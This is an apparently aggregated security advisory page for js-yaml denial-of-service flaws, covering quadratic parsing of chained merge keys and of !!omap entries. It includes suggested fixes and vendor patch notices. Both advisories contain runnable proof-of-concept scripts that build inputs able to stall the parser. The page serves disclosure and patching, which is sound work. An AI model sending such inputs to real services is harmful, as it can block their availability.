CVE-2026-59869

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.

!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 | | 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 | | 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.

References

• CVE-2026-59870 /…

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.7.0-tuxcare.1.

TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.1-tuxcare.1.

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.1.0-tuxcare.2.

TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.2-tuxcare.1.

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.14.1-tuxcare.2.

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.3.0-tuxcare.1.

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.7.0-tuxcare.3.

TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.2.0-tuxcare.1.

TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.13.1-tuxcare.1.

These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2026-59869 in the js-yaml package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-5p4m-2wfm-xmqj in the js-yaml package for Root:npm. Multiple fixed versions available.